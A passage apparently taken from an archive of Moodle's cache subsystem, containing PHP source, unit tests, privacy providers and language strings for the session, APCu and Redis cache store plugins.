$data, $testmaxsize = true) { $testmaxsize = ($testmaxsize && $this->maxsize !== false); $increment = $this->maxsize !== false && !isset($this->store[$key]); if (($this->maxsize !== false && !$increment) || $this->ttl != 0) { // Make sure the element is added to the end of $this->store array. unset($this->store[$key]); } if ($this->ttl === 0) { $this->store[$key] = array($data, 0); } else { $this->store[$key] = array($data, cache::now()); } if ($increment) { $this->storecount++; } if ($testmaxsize && $this->storecount > $this->maxsize) { $this->reduce_for_maxsize(); } return true; } /** * Sets many items in the cache in a single transaction. * * @param array $keyvaluearray An array of key value pairs. Each item in the array will be an associative array with two * keys, 'key' and 'value'. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items * sent ... if they care that is. */ public function set_many(array $keyvaluearray) { $count = 0; $increment = 0; foreach ($keyvaluearray as $pair) { $key = $pair['key']; $data = $pair['value']; $count++; if ($this->maxsize !== false || $this->ttl !== 0) { // Make sure the element is added to the end of $this->store array. $this->delete($key); $increment++; } else if (!isset($this->store[$key])) { $increment++; } if ($this->ttl === 0) { $this->store[$key] = array($data, 0); } else { $this->store[$key] = array($data, cache::now()); } } if ($this->maxsize !== false) { $this->storecount += $increment; if ($this->storecount > $this->maxsize) { $this->reduce_for_maxsize(); } } return $count; } /** * Checks if the store has a record for the given key and returns true if so. * * @param string $key * @return bool */ public function has($key) { if (isset($this->store[$key])) { if ($this->ttl == 0) { return true; } else if ($this->store[$key][1] >= (cache::now() - $this->ttl)) { return true; } } return false; } /** * Returns true if the store contains records for all of the given keys. * * @param array $keys * @return bool */ public function has_all(array $keys) { $maxtime = 0; if ($this->ttl != 0) { $maxtime = cache::now() - $this->ttl; } foreach ($keys as $key) { if (!isset($this->store[$key])) { return false; } if ($this->ttl != 0 && $this->store[$key][1] < $maxtime) { return false; } } return true; } /** * Returns true if the store contains records for any of the given keys. * * @param array $keys * @return bool */ public function has_any(array $keys) { $maxtime = 0; if ($this->ttl != 0) { $maxtime = cache::now() - $this->ttl; } foreach ($keys as $key) { if (isset($this->store[$key]) && ($this->ttl == 0 || $this->store[$key][1] >= $maxtime)) { return true; } } return false; } /** * Deletes an item from the cache store. * * @param string $key The key to delete. * @return bool Returns true if the operation was a success, false otherwise. */ public function delete($key) { if (!isset($this->store[$key])) { return false; } unset($this->store[$key]); if ($this->maxsize !== false) { $this->storecount--; } return true; } /** * Deletes several keys from the cache in a single action. * * @param array $keys The keys to delete * @return int The number of items successfully deleted. */ public function delete_many(array $keys) { // The number of items that have actually being removed. $reduction = 0; foreach ($keys as $key) { if (isset($this->store[$key])) { $reduction++; } unset($this->store[$key]); } if ($this->maxsize !== false) { $this->storecount -= $reduction; } return $reduction; } /** * Purges the cache deleting all items within it. * * @return boolean True on success. False otherwise. */ public function purge() { $this->store = array(); // Don't worry about checking if we're using max size just set it as thats as fast as the check. $this->storecount = 0; return true; } /** * Reduces the size of the array if maxsize has been hit. * * This function reduces the size of the store reducing it by 10% of its maxsize. * It removes the oldest items in the store when doing this. * The reason it does this an doesn't use a least recently used system is purely the overhead such a system * requires. The current approach is focused on speed, MUC already adds enough overhead to static/session caches * and avoiding more is of benefit. * * @return int */ protected function reduce_for_maxsize() { $diff = $this->storecount - $this->maxsize; if ($diff < 1) { return 0; } // Reduce it by an extra 10% to avoid calling this repetitively if we are in a loop. $diff += floor($this->maxsize / 10); $this->store = array_slice($this->store, $diff, null, true); $this->storecount -= $diff; return $diff; } /** * Returns true if the user can add an instance of the store plugin. * * @return bool */ public static function can_add_instance() { return false; } /** * Performs any necessary clean up when the store instance is being deleted. */ public function instance_deleted() { $this->purge(); } /** * Generates an instance of the cache store that can be used for testing. * * @param definition $definition * @return cachestore_session */ public static function initialise_test_instance(definition $definition) { // Do something here perhaps. $cache = new cachestore_session('Session test'); $cache->initialise($definition); return $cache; } /** * Generates the appropriate configuration required for unit testing. * * @return array Array of unit test configuration data to be used by initialise(). */ public static function unit_test_configuration() { return array(); } /** * Returns the name of this instance. * @return string */ public function my_name() { return $this->name; } /** * Removes expired elements. * @return int number of removed elements */ protected function check_ttl() { if ($this->ttl === 0) { return 0; } $maxtime = cache::now() - $this->ttl; $count = 0; for ($value = reset($this->store); $value !== false; $value = next($this->store)) { if ($value[1] >= $maxtime) { // We know that elements are sorted by ttl so no need to continue. break; } $count++; } if ($count) { // Remove first $count elements as they are expired. $this->store = array_slice($this->store, $count, null, true); if ($this->maxsize !== false) { $this->storecount -= $count; } } return $count; } /** * Finds all of the keys being stored in the cache store instance. * * @return array */ public function find_all() { $this->check_ttl(); return array_keys($this->store); } /** * Finds all of the keys whose keys start with the given prefix. * * @param string $prefix * @return array An array of keys. */ public function find_by_prefix($prefix) { $return = array(); foreach ($this->find_all() as $key) { if (strpos($key, $prefix) === 0) { $return[] = $key; } } return $return; } /** * This store supports native TTL handling. * @return bool */ public function store_supports_native_ttl() { return true; } } stores/session/version.php000064400000002353152265337610011761 0ustar00. /** * Cache session store version information. * * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_session * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die; $plugin->version = 2025041400; // The current module version (Date: YYYYMMDDXX). $plugin->requires = 2025040800; // Requires this Moodle version. $plugin->component = 'cachestore_session'; // Full name of the plugin.stores/session/classes/privacy/provider.php000064400000007447152265337610015251 0ustar00. /** * Privacy Subsystem implementation for cachestore_session. * * @package cachestore_session * @category privacy * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace cachestore_session\privacy; use core_privacy\local\metadata\collection; use core_privacy\local\request\approved_contextlist; use core_privacy\local\request\approved_userlist; use core_privacy\local\request\contextlist; use core_privacy\local\request\userlist; defined('MOODLE_INTERNAL') || die(); /** * Privacy Subsystem for cachestore_session. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements \core_privacy\local\metadata\provider, \core_privacy\local\request\plugin\provider, \core_privacy\local\request\core_userlist_provider { /** * Returns meta data about this system. * * @param collection $collection The initialised collection to add items to. * @return collection A listing of user data stored through this system. */ public static function get_metadata(collection $collection): collection { $collection->add_subsystem_link('core_user', [], 'privacy:metadata:core_user'); return $collection; } /** * Get the list of contexts that contain user information for the specified user. * * @param int $userid The user to search. * @return contextlist $contextlist The contextlist containing the list of contexts used in this plugin. */ public static function get_contexts_for_userid(int $userid): contextlist { return new contextlist(); } /** * Get the list of users who have data within a context. * * @param userlist $userlist The userlist containing the list of users who have data in this context/plugin combination. */ public static function get_users_in_context(userlist $userlist) { } /** * Export all user data for the specified user, in the specified contexts. * * @param approved_contextlist $contextlist The approved contexts to export information for. */ public static function export_user_data(approved_contextlist $contextlist) { } /** * Delete all use data which matches the specified deletion_criteria. * * @param \context $context A user context. */ public static function delete_data_for_all_users_in_context(\context $context) { } /** * Delete all user data for the specified user, in the specified contexts. * * @param approved_contextlist $contextlist The approved contexts and user information to delete information for. */ public static function delete_data_for_user(approved_contextlist $contextlist) { } /** * Delete multiple users within a single context. * * @param approved_userlist $userlist The approved context and user information to delete information for. */ public static function delete_data_for_users(approved_userlist $userlist) { } } stores/session/tests/store_test.php000064400000016503152265337610013633 0ustar00. namespace cachestore_session; use cache_store; defined('MOODLE_INTERNAL') || die(); // Include the necessary evils. global $CFG; require_once($CFG->dirroot.'/cache/tests/fixtures/stores.php'); require_once($CFG->dirroot.'/cache/stores/session/lib.php'); /** * Session unit test class. * * @package cachestore_session * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ final class store_test extends \cachestore_tests { /** * Returns the session class name * @return string */ protected function get_class_name() { return 'cachestore_session'; } /** * Test the maxsize option. */ public function test_maxsize(): void { $config = \cache_config_testing::instance(); $config->phpunit_add_definition('phpunit/one', array( 'mode' => cache_store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'one', 'maxsize' => 3 )); $config->phpunit_add_definition('phpunit/two', array( 'mode' => cache_store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'two', 'maxsize' => 3 )); $cacheone = \cache::make('phpunit', 'one'); $this->assertTrue($cacheone->set('key1', 'value1')); $this->assertTrue($cacheone->set('key2', 'value2')); $this->assertTrue($cacheone->set('key3', 'value3')); $this->assertTrue($cacheone->has('key1')); $this->assertTrue($cacheone->has('key2')); $this->assertTrue($cacheone->has('key3')); $this->assertTrue($cacheone->set('key4', 'value4')); $this->assertTrue($cacheone->set('key5', 'value5')); $this->assertFalse($cacheone->has('key1')); $this->assertFalse($cacheone->has('key2')); $this->assertTrue($cacheone->has('key3')); $this->assertTrue($cacheone->has('key4')); $this->assertTrue($cacheone->has('key5')); $this->assertFalse($cacheone->get('key1')); $this->assertFalse($cacheone->get('key2')); $this->assertEquals('value3', $cacheone->get('key3')); $this->assertEquals('value4', $cacheone->get('key4')); $this->assertEquals('value5', $cacheone->get('key5')); // Test adding one more. $this->assertTrue($cacheone->set('key6', 'value6')); $this->assertFalse($cacheone->get('key3')); // Test reducing and then adding to make sure we don't lost one. $this->assertTrue($cacheone->delete('key6')); $this->assertTrue($cacheone->set('key7', 'value7')); $this->assertEquals('value4', $cacheone->get('key4')); // Set the same key three times to make sure it doesn't count overrides. for ($i = 0; $i < 3; $i++) { $this->assertTrue($cacheone->set('key8', 'value8')); } $this->assertEquals('value7', $cacheone->get('key7'), 'Overrides are incorrectly incrementing size'); // Test adding many. $this->assertEquals(3, $cacheone->set_many(array( 'keyA' => 'valueA', 'keyB' => 'valueB', 'keyC' => 'valueC' ))); $this->assertEquals(array( 'key4' => false, 'key5' => false, 'key6' => false, 'key7' => false, 'keyA' => 'valueA', 'keyB' => 'valueB', 'keyC' => 'valueC' ), $cacheone->get_many(array( 'key4', 'key5', 'key6', 'key7', 'keyA', 'keyB', 'keyC' ))); $cachetwo = \cache::make('phpunit', 'two'); // Test adding many. $this->assertEquals(3, $cacheone->set_many(array( 'keyA' => 'valueA', 'keyB' => 'valueB', 'keyC' => 'valueC' ))); $this->assertEquals(3, $cachetwo->set_many(array( 'key1' => 'value1', 'key2' => 'value2', 'key3' => 'value3' ))); $this->assertEquals(array( 'keyA' => 'valueA', 'keyB' => 'valueB', 'keyC' => 'valueC' ), $cacheone->get_many(array( 'keyA', 'keyB', 'keyC' ))); $this->assertEquals(array( 'key1' => 'value1', 'key2' => 'value2', 'key3' => 'value3' ), $cachetwo->get_many(array( 'key1', 'key2', 'key3' ))); // Test that that cache deletes element that was least recently accessed. $this->assertEquals('valueA', $cacheone->get('keyA')); $cacheone->set('keyD', 'valueD'); $this->assertEquals('valueA', $cacheone->get('keyA')); $this->assertFalse($cacheone->get('keyB')); $this->assertEquals(array('keyD' => 'valueD', 'keyC' => 'valueC'), $cacheone->get_many(array('keyD', 'keyC'))); $cacheone->set('keyE', 'valueE'); $this->assertFalse($cacheone->get('keyB')); $this->assertFalse($cacheone->get('keyA')); $this->assertEquals(array('keyA' => false, 'keyE' => 'valueE', 'keyD' => 'valueD', 'keyC' => 'valueC'), $cacheone->get_many(array('keyA', 'keyE', 'keyD', 'keyC'))); // Overwrite keyE (moves it to the end of array), and set keyF. $cacheone->set_many(array('keyE' => 'valueE', 'keyF' => 'valueF')); $this->assertEquals(array('keyC' => 'valueC', 'keyE' => 'valueE', 'keyD' => false, 'keyF' => 'valueF'), $cacheone->get_many(array('keyC', 'keyE', 'keyD', 'keyF'))); } public function test_ttl(): void { $config = \cache_config_testing::instance(); $config->phpunit_add_definition('phpunit/three', array( 'mode' => cache_store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'three', 'maxsize' => 3, 'ttl' => 3 )); $cachethree = \cache::make('phpunit', 'three'); // Make sure that when cache with ttl is full the elements that were added first are deleted first regardless of access time. $cachethree->set('key1', 'value1'); $cachethree->set('key2', 'value2'); $cachethree->set('key3', 'value3'); $cachethree->set('key4', 'value4'); $this->assertFalse($cachethree->get('key1')); $this->assertEquals('value4', $cachethree->get('key4')); $cachethree->set('key5', 'value5'); $this->assertFalse($cachethree->get('key2')); $this->assertEquals('value4', $cachethree->get('key4')); $cachethree->set_many(array('key6' => 'value6', 'key7' => 'value7')); $this->assertEquals(array('key3' => false, 'key4' => false, 'key5' => 'value5', 'key6' => 'value6', 'key7' => 'value7'), $cachethree->get_many(array('key3', 'key4', 'key5', 'key6', 'key7'))); } } stores/apcu/lang/en/cachestore_apcu.php000064400000003705152265337610014216 0ustar00. /** * APCu cache store language strings. * * @package cachestore_apcu * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ $string['clusternotice'] = 'Please be aware that APCu is only a suitable choice for single node sites or caches that can be stored locally. For more information, see the APC user cache documentation.'; $string['notice'] = 'Notice'; $string['pluginname'] = 'APC user cache (APCu)'; $string['prefix'] = 'Prefix'; $string['prefix_help'] = 'The above prefix gets used for all keys being stored in this APC store instance. By default the database prefix is used.'; $string['prefixinvalid'] = 'The prefix you have selected is invalid. You can only use a-z A-Z 0-9-_.'; $string['prefixnotunique'] = 'The prefix you have selected is not unique. Please choose a unique prefix.'; $string['privacy:metadata'] = 'The APC user cache (APCu) plugin stores data briefly as part of its caching functionality but this data is regularly cleared and is not sent externally in any way.'; $string['testperformance'] = 'Test performance'; $string['testperformance_desc'] = 'If enabled, APCu performance will be included when viewing the Test performance page. Enabling this on a production site is not recommended.'; stores/apcu/lib.php000064400000031450152265337610010307 0ustar00. use core_cache\configurable_cache_interface; use core_cache\definition; use core_cache\key_aware_cache_interface; use core_cache\store; /** * The APCu cache store class. * * @package cachestore_apcu * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_apcu extends store implements configurable_cache_interface, key_aware_cache_interface { /** * The required version of APCu for this extension. */ const REQUIRED_VERSION = '4.0.0'; /** * The name of this store instance. * @var string */ protected $name; /** * The definition used when this instance was initialised. * @var definition */ protected $definition = null; /** * The storeprefix to use on all instances of this store. Configured as part store setup. * @var string */ protected $storeprefix = null; /** * The prefix added specifically for this cache. * @var string */ protected $cacheprefix = null; /** * Static method to check that the APCu stores requirements have been met. * * It checks that the APCu extension has been loaded and that it has been enabled. * * @return bool True if the stores software/hardware requirements have been met and it can be used. False otherwise. */ public static function are_requirements_met() { $enabled = ini_get('apc.enabled') && (php_sapi_name() != "cli" || ini_get('apc.enable_cli')); if (!extension_loaded('apcu') || !$enabled) { return false; } $version = phpversion('apcu'); return $version && version_compare($version, self::REQUIRED_VERSION, '>='); } /** * Static method to check if a store is usable with the given mode. * * @param int $mode One of store::MODE_* * @return bool True if the mode is supported. */ public static function is_supported_mode($mode) { return ($mode === self::MODE_APPLICATION || $mode === self::MODE_SESSION); } /** * Returns the supported features as a binary flag. * * @param array $configuration The configuration of a store to consider specifically. * @return int The supported features. */ public static function get_supported_features(array $configuration = array()) { return self::SUPPORTS_NATIVE_TTL; } /** * Returns the supported modes as a binary flag. * * @param array $configuration The configuration of a store to consider specifically. * @return int The supported modes. */ public static function get_supported_modes(array $configuration = array()) { return self::MODE_APPLICATION + self::MODE_SESSION; } /** * Constructs an instance of the cache store. * * This method should not create connections or perform and processing, it should be used * * @param string $name The name of the cache store * @param array $configuration The configuration for this store instance. */ public function __construct($name, array $configuration = array()) { global $CFG; $this->name = $name; $this->storeprefix = $CFG->prefix; if (isset($configuration['prefix'])) { $this->storeprefix = $configuration['prefix']; } } /** * Returns the name of this store instance. * @return string */ public function my_name() { return $this->name; } /** * Initialises a new instance of the cache store given the definition the instance is to be used for. * * This function should prepare any given connections etc. * * @param definition $definition * @return bool */ public function initialise(definition $definition) { $this->definition = $definition; $this->cacheprefix = $this->storeprefix.$definition->generate_definition_hash().'__'; return true; } /** * Returns true if this cache store instance has been initialised. * @return bool */ public function is_initialised() { return ($this->definition !== null); } /** * Prepares the given key for use. * * Should be called before all interaction. * * @param string $key The key to prepare for storing in APCu. * * @return string */ protected function prepare_key($key) { return $this->cacheprefix . $key; } /** * Retrieves an item from the cache store given its key. * * @param string $key The key to retrieve * @return mixed The data that was associated with the key, or false if the key did not exist. */ public function get($key) { $key = $this->prepare_key($key); $success = false; $outcome = apcu_fetch($key, $success); if ($success) { return $outcome; } return $success; } /** * Retrieves several items from the cache store in a single transaction. * * If not all of the items are available in the cache then the data value for those that are missing will be set to false. * * @param array $keys The array of keys to retrieve * @return array An array of items from the cache. There will be an item for each key, those that were not in the store will * be set to false. */ public function get_many($keys) { $map = array(); foreach ($keys as $key) { $map[$key] = $this->prepare_key($key); } $outcomes = array(); $success = false; $results = apcu_fetch($map, $success); if ($success) { foreach ($map as $key => $used) { if (array_key_exists($used, $results)) { $outcomes[$key] = $results[$used]; } else { $outcomes[$key] = false; } } } else { $outcomes = array_fill_keys($keys, false); } return $outcomes; } /** * Sets an item in the cache given its key and data value. * * @param string $key The key to use. * @param mixed $data The data to set. * @return bool True if the operation was a success false otherwise. */ public function set($key, $data) { $key = $this->prepare_key($key); return apcu_store($key, $data, $this->definition->get_ttl()); } /** * Sets many items in the cache in a single transaction. * * @param array $keyvaluearray An array of key value pairs. Each item in the array will be an associative array with two * keys, 'key' and 'value'. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items * sent ... if they care that is. */ public function set_many(array $keyvaluearray) { $map = array(); foreach ($keyvaluearray as $pair) { $key = $this->prepare_key($pair['key']); $map[$key] = $pair['value']; } $result = apcu_store($map, null, $this->definition->get_ttl()); return count($map) - count($result); } /** * Deletes an item from the cache store. * * @param string $key The key to delete. * @return bool Returns true if the operation was a success, false otherwise. */ public function delete($key) { $key = $this->prepare_key($key); return apcu_delete($key); } /** * Deletes several keys from the cache in a single action. * * @param array $keys The keys to delete * @return int The number of items successfully deleted. */ public function delete_many(array $keys) { $count = 0; foreach ($keys as $key) { if ($this->delete($key)) { $count++; } } return $count; } /** * Purges the cache deleting all items within it. * * @return boolean True on success. False otherwise. */ public function purge() { if (class_exists('APCUIterator', false)) { $iterator = new APCUIterator('#^' . preg_quote($this->cacheprefix, '#') . '#'); } else { $iterator = new APCIterator('user', '#^' . preg_quote($this->cacheprefix, '#') . '#'); } return apcu_delete($iterator); } /** * Performs any necessary clean up when the store instance is being deleted. */ public function instance_deleted() { if (class_exists('APCUIterator', false)) { $iterator = new APCUIterator('#^' . preg_quote($this->storeprefix, '#') . '#'); } else { $iterator = new APCIterator('user', '#^' . preg_quote($this->storeprefix, '#') . '#'); } return apcu_delete($iterator); } /** * Generates an instance of the cache store that can be used for testing. * * Returns an instance of the cache store, or false if one cannot be created. * * @param definition $definition * @return store */ public static function initialise_test_instance(definition $definition) { $testperformance = get_config('cachestore_apcu', 'testperformance'); if (empty($testperformance)) { return false; } if (!self::are_requirements_met()) { return false; } $name = 'APCu test'; $cache = new cachestore_apcu($name); // No need to check if is_ready() as this has already being done by requirement check. $cache->initialise($definition); return $cache; } /** * Test is a cache has a key. * * @param string|int $key * @return bool True if the cache has the requested key, false otherwise. */ public function has($key) { $key = $this->prepare_key($key); return apcu_exists($key); } /** * Test if a cache has at least one of the given keys. * * @param array $keys * @return bool True if the cache has at least one of the given keys */ public function has_any(array $keys) { foreach ($keys as $arraykey => $key) { $keys[$arraykey] = $this->prepare_key($key); } $result = apcu_exists($keys); return count($result) > 0; } /** * Test is a cache has all of the given keys. * * @param array $keys * @return bool True if the cache has all of the given keys, false otherwise. */ public function has_all(array $keys) { foreach ($keys as $arraykey => $key) { $keys[$arraykey] = $this->prepare_key($key); } $result = apcu_exists($keys); return count($result) === count($keys); } /** * Generates the appropriate configuration required for unit testing. * * @return array Array of unit test configuration data to be used by initialise(). */ public static function unit_test_configuration() { return array('prefix' => 'phpunit'); } /** * Given the data from the add instance form this function creates a configuration array. * * @param stdClass $data * @return array */ public static function config_get_configuration_array($data) { $config = array(); if (isset($data->prefix)) { $config['prefix'] = $data->prefix; } return $config; } /** * Allows the cache store to set its data against the edit form before it is shown to the user. * * @param moodleform $editform * @param array $config */ public static function config_set_edit_form_data(moodleform $editform, array $config) { if (isset($config['prefix'])) { $data['prefix'] = $config['prefix']; } else { $data['prefix'] = ''; } $editform->set_data($data); } /** * Returns true if this cache store instance is both suitable for testing, and ready for testing. * * Cache stores that support being used as the default store for unit and acceptance testing should * override this function and return true if there requirements have been met. * * @return bool */ public static function ready_to_be_used_for_testing() { return true; } } stores/apcu/version.php000064400000002037152265337610011225 0ustar00. /** * APCu cache store version information. * * @package cachestore_apcu * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die; $plugin->version = 2025041400; $plugin->requires = 2025040800; $plugin->maturity = MATURITY_STABLE; $plugin->component = 'cachestore_apcu'; stores/apcu/classes/privacy/provider.php000064400000003002152265337610014475 0ustar00. /** * Privacy Subsystem implementation for cachestore_apcu. * * @package cachestore_apcu * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace cachestore_apcu\privacy; defined('MOODLE_INTERNAL') || die(); /** * Privacy Subsystem for cachestore_apcu implementing null_provider. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements \core_privacy\local\metadata\null_provider { /** * Get the language string identifier with the component's language * file to explain why this plugin stores no data. * * @return string */ public static function get_reason(): string { return 'privacy:metadata'; } } stores/apcu/tests/store_test.php000064400000006614152265337610013102 0ustar00. namespace cachestore_apcu; use core_cache\store; use core_cache\definition; use cachestore_apcu; defined('MOODLE_INTERNAL') || die(); // Include the necessary evils. global $CFG; require_once($CFG->dirroot.'/cache/tests/fixtures/stores.php'); require_once($CFG->dirroot.'/cache/stores/apcu/lib.php'); /** * APC unit test class. * * @package cachestore_apcu * @copyright 2014 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ final class store_test extends \cachestore_tests { /** * Returns the apcu class name * @return string */ protected function get_class_name() { return 'cachestore_apcu'; } public function setUp(): void { if (!cachestore_apcu::are_requirements_met()) { $this->markTestSkipped('Could not test cachestore_apcu. Requirements are not met.'); } parent::setUp(); } /** * Test that the Moodle APCu store doesn't cross paths with other code using APCu as well. */ public function test_cross_application_interaction(): void { $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_apcu', 'phpunit_test'); $instance = new cachestore_apcu('Test', cachestore_apcu::unit_test_configuration()); $instance->initialise($definition); // Test purge with custom data. $this->assertTrue($instance->set('test', 'monster')); $this->assertSame('monster', $instance->get('test')); $this->assertTrue(apcu_store('test', 'pirate', 180)); $this->assertSame('monster', $instance->get('test')); $this->assertTrue(apcu_exists('test')); $this->assertSame('pirate', apcu_fetch('test')); // Purge and check that our data is gone but the the custom data is still there. $this->assertTrue($instance->purge()); $this->assertFalse($instance->get('test')); $this->assertTrue(apcu_exists('test')); $this->assertSame('pirate', apcu_fetch('test')); } public function test_different_caches_have_different_prefixes(): void { $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_apcu', 'phpunit_test'); $instance = new cachestore_apcu('Test', cachestore_apcu::unit_test_configuration()); $instance->initialise($definition); $definition2 = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_apcu', 'phpunit_test2'); $instance2 = new cachestore_apcu('Test', cachestore_apcu::unit_test_configuration()); $instance2->initialise($definition2); $instance->set('test1', 1); $this->assertFalse($instance2->get('test1')); $instance2->purge(); $this->assertSame(1, $instance->get('test1')); } } stores/apcu/addinstanceform.php000064400000006243152265337610012704 0ustar00. /** * Form for adding a apcu instance. * * @copyright 2014 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_apcu_addinstance_form extends cachestore_addinstance_form { /** * Add the desired form elements. */ protected function configuration_definition() { global $CFG; $form = $this->_form; $form->addElement('text', 'prefix', get_string('prefix', 'cachestore_apcu'), array('maxlength' => 5, 'size' => 5)); $form->addHelpButton('prefix', 'prefix', 'cachestore_apcu'); $form->setType('prefix', PARAM_TEXT); // We set to text but we have a rule to limit to alphanumext. $form->setDefault('prefix', $CFG->prefix); $form->addRule('prefix', get_string('prefixinvalid', 'cachestore_apcu'), 'regex', '#^[a-zA-Z0-9\-_]+$#'); $form->addElement('header', 'apc_notice', get_string('notice', 'cachestore_apcu')); $form->setExpanded('apc_notice'); $link = get_docs_url('Caching#APC'); $form->addElement('html', nl2br(get_string('clusternotice', 'cachestore_apcu', $link))); } /** * Validates the configuration data. * * We need to check that prefix is unique. * * @param array $data * @param array $files * @param array $errors * @return array * @throws coding_exception */ public function configuration_validation($data, $files, array $errors) { if (empty($errors['prefix'])) { $factory = cache_factory::instance(); $config = $factory->create_config_instance(); foreach ($config->get_all_stores() as $store) { if ($store['plugin'] === 'apcu') { if (isset($store['configuration']['prefix'])) { if ($data['prefix'] === $store['configuration']['prefix']) { // The new store has the same prefix as an existing store, thats a problem. $errors['prefix'] = get_string('prefixnotunique', 'cachestore_apcu'); break; } } else if (empty($data['prefix'])) { // The existing store hasn't got a prefix and neither does the new store, that's a problem. $errors['prefix'] = get_string('prefixnotunique', 'cachestore_apcu'); break; } } } } return $errors; } } stores/apcu/settings.php000064400000002375152265337610011405 0ustar00. /** * The settings for the APCu store. * * This file is part of the APCu cache store, it contains the API for interacting with an instance of the store. * * @package cachestore_apcu * @copyright 2014 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die; $settings->add( new admin_setting_configcheckbox( 'cachestore_apcu/testperformance', new lang_string('testperformance', 'cachestore_apcu'), new lang_string('testperformance_desc', 'cachestore_apcu'), false ) ); stores/redis/README.md000064400000000430152265337610010457 0ustar00Redis Cache Store for Moodle ============================ A Moodle cache store plugin for [Redis](http://redis.io). This plugin requires the [PhpRedis](https://github.com/phpredis/phpredis) extension. The PhpRedis extension can be installed via PECL with `pecl install redis`. stores/redis/db/tasks.php000064400000002173152265337610011431 0ustar00. /** * Scheduled tasks. * * @copyright 2021 The Open University * @package cachestore_redis * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $tasks = [ [ 'classname' => '\cachestore_redis\task\ttl', 'blocking' => 0, 'minute' => 'R', 'hour' => '*', 'day' => '*', 'month' => '*', 'dayofweek' => '*', 'disabled' => 0 ] ]; stores/redis/lang/en/cachestore_redis.php000064400000013452152265337610014552 0ustar00. /** * Redis Cache Store - English language strings * * @package cachestore_redis * @copyright 2013 Adam Durana * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $string['ca_file'] = 'CA file path'; $string['ca_file_help'] = 'Location of Certificate Authority file on local filesystem'; $string['clustermode'] = 'Cluster mode'; $string['clustermode_help'] = 'Enabling cluster mode will run the Redis Cluster function, allowing your server to serve multiple servers to handle concurrent requests simultaneously.'; $string['clustermodeunavailable'] = 'Redis Cluster is currently unavailable. Please ensure that the PHP Redis extension supports Redis Cluster functionality.'; $string['compressor_none'] = 'No compression.'; $string['compressor_php_gzip'] = 'Use gzip compression.'; $string['compressor_php_zstd'] = 'Use Zstandard compression.'; $string['connectiontimeout'] = 'Connection timeout'; $string['connectiontimeout_help'] = 'This sets the timeout when attempting to connect to the Redis server.'; $string['encrypt_connection'] = 'Use TLS encryption.'; $string['encrypt_connection_help'] = 'Use TLS to connect to Redis. Do not use \'tls://\' in the hostname for Redis, use this option instead.'; $string['password'] = 'Password'; $string['password_help'] = 'This sets the password of the Redis server.'; $string['pluginname'] = 'Redis'; $string['prefix'] = 'Key prefix'; $string['prefix_help'] = 'This prefix is used for all key names on the Redis server. * If you only have one Moodle instance using this server, you can leave this value default. * Due to key length restrictions, a maximum of 5 characters is permitted.'; $string['prefixinvalid'] = 'Invalid prefix. You can only use a-z A-Z 0-9-_.'; $string['privacy:metadata:redis'] = 'The Redis cachestore plugin stores data briefly as part of its caching functionality. This data is stored on an Redis server where data is regularly removed.'; $string['privacy:metadata:redis:data'] = 'The various data stored in the cache'; $string['serializer_igbinary'] = 'Igbinary serializer'; $string['serializer_php'] = 'Default PHP serializer'; $string['server'] = 'Server(s)'; $string['server_help'] = 'Redis server to use for testing. Some example values: * testredis.abc.com - To connect to a Redis server by hostname (Port 6379 by default). * testredis.abc.com:1234 - To connect to a Redis server by hostname with a specific port. * 1.2.3.4 - To connect to a Redis server by IP address (Port 6379 by default). * 1.2.3.4:1234 - To connect to a Redis server by IP address with a specific port. * unix:///var/redis.sock - To connect to a Redis server using a Unix socket. * /var/redis.sock - To connect to a Redis server using a Unix socket (alternative format). If cluster mode is enabled, specify servers separated by a new line, for example:
172.23.0.11
172.23.0.12
172.23.0.13
For further information, see Accepting Client Connections and Redis PHP clients.'; $string['task_ttl'] = 'Free up memory used by expired entries in Redis caches'; $string['test_clustermode'] = 'Cluster mode'; $string['test_clustermode_desc'] = 'Enable Test in Redis Cluster mode.'; $string['test_password'] = 'Test server password'; $string['test_password_desc'] = 'Redis test server password.'; $string['test_serializer'] = 'Serializer'; $string['test_serializer_desc'] = 'Serializer to use for testing.'; $string['test_server'] = 'Test server'; $string['test_server_desc'] = 'Redis server to use for testing. Some example values: * testredis.abc.com - To connect to a Redis server by hostname (Port 6379 by default). * testredis.abc.com:1234 - To connect to a Redis server by hostname with a specific port. * 1.2.3.4 - To connect to a Redis server by IP address (Port 6379 by default). * 1.2.3.4:1234 - To connect to a Redis server by IP address with a specific port. * unix:///var/redis.sock - To connect to a Redis server using a Unix socket. * /var/redis.sock - To connect to a Redis server using a Unix socket (alternative format). If cluster mode is enabled, specify servers separated by a new line, for example:
172.23.0.11
172.23.0.12
172.23.0.13
